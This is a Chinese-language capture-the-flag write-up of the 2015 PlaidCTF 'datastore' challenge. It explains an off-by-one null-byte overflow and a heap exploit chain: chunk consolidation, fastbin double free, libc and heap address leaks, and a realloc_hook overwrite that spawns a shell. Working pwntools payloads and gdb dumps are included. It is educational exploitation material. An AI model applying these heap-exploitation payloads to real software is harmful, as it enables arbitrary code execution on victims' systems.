查看原文
其他

2015 plaidctf datastore(off by one)

iddm 看雪学院 2019-05-26


紧接着半个月前分析的那篇2016 Asis b00ks(https://bbs.pediy.com/thread-246507.htm),这次同样是有分析了一道off by one 漏洞利用的题目,同样记录下来分享给像咱们一样的pwn萌新,实在是想说大佬们的文章都是写给大佬看的,那我来给大家补充一下细节。

这次的参考漏洞利用write up是plaid ctf 2015 plaiddb

https://0x3f97.github.io/pwn/2018/01/27/plaidctf2015-plaiddb/。


检查漏洞保护机制:

Arch:     amd64-64-little
   RELRO:    Full RELRO
   Stack:    Canary found
   NX:       NX enabled
   PIE:      PIE enabled
   FORTIFY:  Enabled


程序主要有4个功能:GET、PUT、DUMP、DEL 。

然后来分析一下这个datastore的存储的数据结构。


通过PUT函数以及位于0xCF0的函数可以分析出datastore的数据结构,如下:


但是我只分析出了前三个数据单元内容是什么,后面的关于二叉树的内容需要分析位于0xcf0的函数分析得出,我没有分析完这个函数,因此最后有一部分的伪造堆内存的部分我没有弄清楚,数据结构如下:

struct node {
   char *key;
   long size;
   char *data;
   struct node *left;
   struct node *right;
   struct node *parent;
   bool is_leaf;
}


函数的漏洞点位于0X1040处, 用于获取键值,当输入换行符时,会将其替换成 null 字节,如果输入长度为 chunk usable size 且最后一个字节为换行符的字符串,则会触发 off-by-one。chunk usable size为chunk当前实际可用的内存大小,如下:

char *get_key()
{
 char *key; // r12@1
 char *ptr; // rbx@1
 size_t chunk_sz; // r14@1
 char c; // al@3
 char v4; // bp@3
 signed __int64 v5; // r13@5
 char *v6; // rax@6

 key = (char *)malloc(8uLL);
 ptr = key;
 chunk_sz = malloc_usable_size(key);
 while ( 1 )
 {
   c = _IO_getc(stdin);
   v4 = c;
   if ( c == -1 )
     Goodbye();
   if ( c == 10 )
     break;
   v5 = ptr - key;
   if ( chunk_sz <= ptr - key )
   {
     v6 = (char *)realloc(key, 2 * chunk_sz);
     key = v6;
     if ( !v6 )
     {
       puts("FATAL: Out of memory");
       exit(-1);
     }
     ptr = &v6[v5];
     chunk_sz = malloc_usable_size(v6);
   }
   *ptr++ = v4;
 }
 *ptr = 0;                    <<<<<<<<<<<<<<<<<<<off by one 溢出点
return key;
}


本文主要是通过off by one 溢出修改下一个堆块的pre_inuse位,然后free下一个堆块使其向前合并内存,造成double free。然后通过double free修改malloc_hook为one_gadget来实现漏洞的利用。


double free的原理比较直接,简单来说就是重复释放同一个fastbin,但是在释放同一个fastbin的中间必须free()一次其他的fastbin。可以这么利用的原因是因为在free fastbin的时候,没有进行安全检查。但是unsorted bin,small bin,large bin都不可以实现double free原因是其检查了nextchunk的prev_inuse位,如下。


关于double free的入门可以看一下 :


  • https://heap-exploitation.dhavalkapil.com/attacks/double_free.html


但是本文章的利用的double free并不是那么简单的,加入在A处存在off by one 溢出,溢出覆盖了B的size内容的pre_inuse位,当free B的时候他会向前融合,通过构造B的pre_size项的内容我们可以使其向前合并至X处,但是我们必须事先将chunk x释放,而且x和B之间需要一个fastbin间隔,至此X至B的内存都已释放,此时我们如果在释放chunk c那么c也会出现在bins的链表当中,然后我们就可以控制c的内容了。


|chunk x |  fastbin | chunk c | chunk A|chunk B|


可以参考:


  • http://www.freebuf.com/articles/system/91527.html



具体如何利用


关闭ALSR然后gdb.attach()动态调试是必须掌握的姿势,我一般都是gdb和ida同时看的,gdb动态调试到那一部分,碰到不清楚的就ida静态分析一下代码原理。gdb推荐使用pwndbg。


首先是将内存中初始化带有的一个struct_node删除,然后通过PUT几个struct_node来为我们后来的实现double free做准备。

DEL("th3fl4g")

PUT("A"*0x8, 0x80, p8(0)*0x80)
PUT("B"*0x8, 0x18, p8(0)*0x18)
PUT("C"*0x8, 0x60, p8(0)*0x60)
PUT("C"*0x8, 0xf0, p8(0)*0xf0)

下文的内存信息是内存的低字节,并且内存地址指向chunk的pre_size,并非指向mem。

此时bins的链表结构中的内容如下:
fastbin:
0x20: 0x58280
0x40: 0x58240
0x70: 0x581d0
其余为空

struct_node的地址信息如下:
              struc_node            key           data
"A"*0x8        0x58000            0x58080        0x580a0
"B"*0x8        0x58130            0x58060        0x58040
"C"*0x8        0x58170            0x581b0        0x582a0


然后后面通过off_by_one溢出覆盖0x582a0的pre_size位。


覆盖之前我们先来看一下本来的0x582a0的内存信息:

pwndbg> x/10xg 0x5555557582a0
0x5555557582a0: 0x0000000000000000  0x0000000000000101     -------->可以看到此时位于0x2a0的chunk的pre_inuse位被置1,表示前面的chunk被使用。其实前面的chunk是fastbin中的0x20大小的内存地址是0x58280的chunk。
0x5555557582b0: 0x0000000000000000  0x0000000000000000
0x5555557582c0: 0x0000000000000000  0x0000000000000000
0x5555557582d0: 0x0000000000000000  0x0000000000000000
0x5555557582e0: 0x0000000000000000  0x0000000000000000


然后下面在进行PUT操作:

PUT("D"*0x8+p64(0)+p64(0x200), 0x20, p8(0)*0x20)  # off by one


key的内容是"D"*0x8+p64(0)+p64(0x200),输入的长度为18个字节,正好是chunk usable size,且申请的chunk大小是0x20,正好将0x58280的fastbin分配用来存储key,因此此时将会off_by_one溢出,将0x582a0处的pre_inuse位覆盖为0,并且前面的p64(0x200)伪造了0x582a0的chunk的pre_size为0x200。同时从0x582a0向前0x200个字节恰好是0x580a0,即key为‘A'*0x8的chunk对应的data的地址。通过前面double free的讲解,我们了解到,只需要先DEL('A'*0x8),再DEL('C'0x8)我们可以free掉从0x580a0至0x583a0的内存。

PUT("D"*0x8+p64(0)+p64(0x200), 0x20, p8(0)*0x20)  # off by one

查看内存:
pwndbg> x/50xg 0x555555758280
0x555555758280: 0x0000000000000001  0x0000000000000021
0x555555758290: 0x4444444444444444  0x0000000000000000
0x5555557582a0: 0x0000000000000200  0x0000000000000100    ----->可以看到pre_inuse位被覆盖为0,并且pre_size的大小被改成0x200,为我们后来的double free做好了基础。
0x5555557582b0: 0x0000000000000000  0x0000000000000000
0x5555557582c0: 0x0000000000000000  0x0000000000000000


然后进行DEL()操作,实现double free。

DEL("A"*0x8)
DEL("C"*0x8)

查看内存:
pwndbg> bins
fastbins
0x20: 0x5555557583d0 —▸ 0x5555557581b0 —▸ 0x555555758080 ◂— 0x0
0x30: 0x0
0x40: 0x555555758170 —▸ 0x555555758000 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5555557581d0 ◂— 0x0     ------->这个chunk内存被释放了两次,我们最后也是通过他来实现double free的利用。
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x5555557580a0 ◂— 0x7ffff7dd1b78
可以看到当bins中只有一个bins中有空闲chunk时,其fd、bk均指向main_arena,这为我们泄露libc_base以及heap_base提供了条件。
smallbins
empty
largebins
empty

pwndbg> x/50xg 0x5555557580a0
0x5555557580a0: 0x0000000000000000  0x0000000000000301        ----->看到chunk的大小为0x300
0x5555557580b0: 0x00007ffff7dd1b78  0x00007ffff7dd1b78            ------>bins中只有一个chunk时,其fd、bk指针均指向main_arena
0x5555557580c0: 0x0000000000000000  0x0000000000000000
0x5555557580d0: 0x0000000000000000  0x0000000000000000


接下来由于‘B’*0x8的datastore还没有释放,可以控制此datastore的key以及data的内容,来泄露libc_base以及heap_base,如下图:

struct_node            key                data
"B"*0x8        0x581330              0x58060           0x58040


我们可以通过新PUT一个datastore来分配内存,使得空间的unsorted bin的其实位置正好是0x58130。然后fd、bk指代的main_arena将替代上图中的key以及data。

PUT新的datastore之前,我们查看一下‘B’*0x8的datastore对应的数据结构地址处的内存信息:
pwndbg> x/50xg 0x555555758130
0x555555758130: 0x0000000000000090  0x0000000000000040
0x555555758140: 0x0000555555758070  0x0000000000000018    ------>可以看到0x58070以及0x18分别对应于其key以及data-size,目前来看仍然是正常的,我们后文需要通过PUT一个新的datastore来覆盖这两个值,然后打印泄露相关信息。重新说明一下,这里的0x58070指向key的mem_data区域,而我们上文标注的key的地址信息是0x58060指向的key的pre_size,二者相差0x10,并不矛盾。
0x555555758150: 0x0000555555758050  0x0000000000000000        
0x555555758160: 0x0000000000000000  0x0000555555758250
0x555555758170: 0x0000000000000001  0x0000000000000041
0x555555758180: 0x0000555555758000  0x00000000000000f0
0x555555758190: 0x00005555557582b0  0x0000555555758140

PUT一块新的
PUT("a", 0x88, p8(0)*0x88)

查看内存:
pwndbg> bins
fastbins
0x20: 0x5555557581b0 —▸ 0x555555758080 ◂— 0x0
0x30: 0x0
0x40: 0x555555758000 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5555557581d0 ◂— 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x555555758130 ◂— 0x7ffff7dd1b78
smallbins
empty
largebins
empty

pwndbg> x/50xg 0x555555758130
0x555555758130: 0x0000000000000000  0x0000000000000271
0x555555758140: 0x00007ffff7dd1b78  0x00007ffff7dd1b78            --------------------->可以看到‘B’*0x8对应的datastore的key以及data_size都被覆盖为main_arena的内容。
0x555555758150: 0x0000555555758050  0x0000000000000000
0x555555758160: 0x0000000000000000  0x0000555555758250
0x555555758170: 0x0000000000000001  0x0000000000000041
0x555555758180: 0x00005555557583e0  0x0000000000000088


重新梳理一下,目前我们已经double free一块地址空间,并且已经得到了libc_base和heap_base,我们的目的是利用大小为0x70的fastbin的0x581d0来实现double free的利用。


知道了libc_base我们可以求得realloc_hook()以及malloc_hook()等地址信息,知道了heap_base我们可以在伪造内存时保持原有内存信息不发生变化。


剩下的是,继续伪造内存,使0x581d0的fd指向realloc_hook(),在之后通过一系列操作使得分配大小为0x80的fastbin时,使得realloc_hook()指向one_gadget()。


关于one_gadget,这是一门神器,比system("/bin/sh")方便许多。


对于不了解one_gadget的可以参考:


  • https://bestwing.me/2016/12/30/one-gadget-rce/


  • https://www.yumpu.com/en/document/view/37809267/dragons-ctf


后文通过PUT新的datastore来达成我们的目的:

进行的操作:
payload = p64(heap_base+0x70)
payload += p64(0x8)
payload += p64(heap_base+0x50)
payload += p64(0)*2
payload += p64(heap_base+0x250)
payload += p64(0)+p64(0x41)
payload += p64(heap_base+0x3e0)
payload += p64(0x88)
payload += p64(heap_base+0xb0)
payload += p64(0)*2
payload += p64(heap_base+0x250)
payload += p64(0)*5+p64(0x71)
payload += p64(libc_base+realloc_hook_off)   ------>覆盖fastbin0x501d0的fd指针,上面的data内容都是为了保证内存堆当中的其他信息不被破坏。
PUT("b"*0x8, 0xa8, payload)

查看bins:
pwndbg> bins
fastbins
0x20: 0x555555758080 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5555557581d0 —▸ 0x7ffff7dd1aed (_IO_wide_data_0+301) ◂— 0xfff7a92e20000000    ------->可以看到已经成功的将realloc_hook()放入0x70的fastbin链表中
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x5555557581e0 ◂— 0x7ffff7dd1b78
smallbins
empty
largebins
empty


后面通过一系列PUT操作来实现将realloc_hook()指向one_gadget,同时除了我们需要改动的内存以外,其他内存都保持其原有的状态。

payload = p64(0)*3+p64(0x41)
payload += p64(heap_base+0x290)
payload += p64(0x20)
payload += p64(heap_base+0x3b0)
payload += p64(0)*4+p64(0x21)
payload += p64(0)*3
PUT("c"*0x8, 0x78, payload)

payload = p64(0)+p64(0x41)
payload += p64(heap_base+0x90)
payload += p64(0x8)+p64(heap_base+0x230)
payload += p64(0)*2+p64(heap_base+0x250)
payload += p64(0x1)+p64(0)*3
PUT("d"*0x8, 0x60, payload)

#
one_gadget = libc_base+one_gadget2
system_addr = libc_base+system_off
#payload = p8(0)*0x13
payload = p8(0)*0xb
#payload += p64(one_gadget)
payload += p64(system_addr)
#payload += p8(0)*0x45
payload += p8(0)*0x4d
PUT("e"*0x8, 0x60, payload)

#
GET("")
payload = "/bin/sh"
payload += p8(0)*0x12
GET(payload)

p.interactive()



总结


这道题目较上篇2016 Asis b00ks(off by one)难度大些,这一篇涉及到更多堆的内存管理,我也是从这开始刚刚真正了解些堆内存管理,除了off by one,并且还有one gadget,double free,以及和泄露libc_base的新技巧,都是刚刚涨的新姿势。


建议像我一样刚刚开始的萌新,还是要多看几遍malloc.c,碰到一些技巧比如double free不要只是到怎么用,还要知道为什么能这么用,为什么不能这么用,多查查源代码。                                                        



- End -



看雪ID:iddm                 

https://bbs.pediy.com/user-822769.htm




本文由看雪论坛 iddm 原创

转载请注明来自看雪社区





热门技术文章推荐:





戳原文,看看大家都是怎么说的?

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存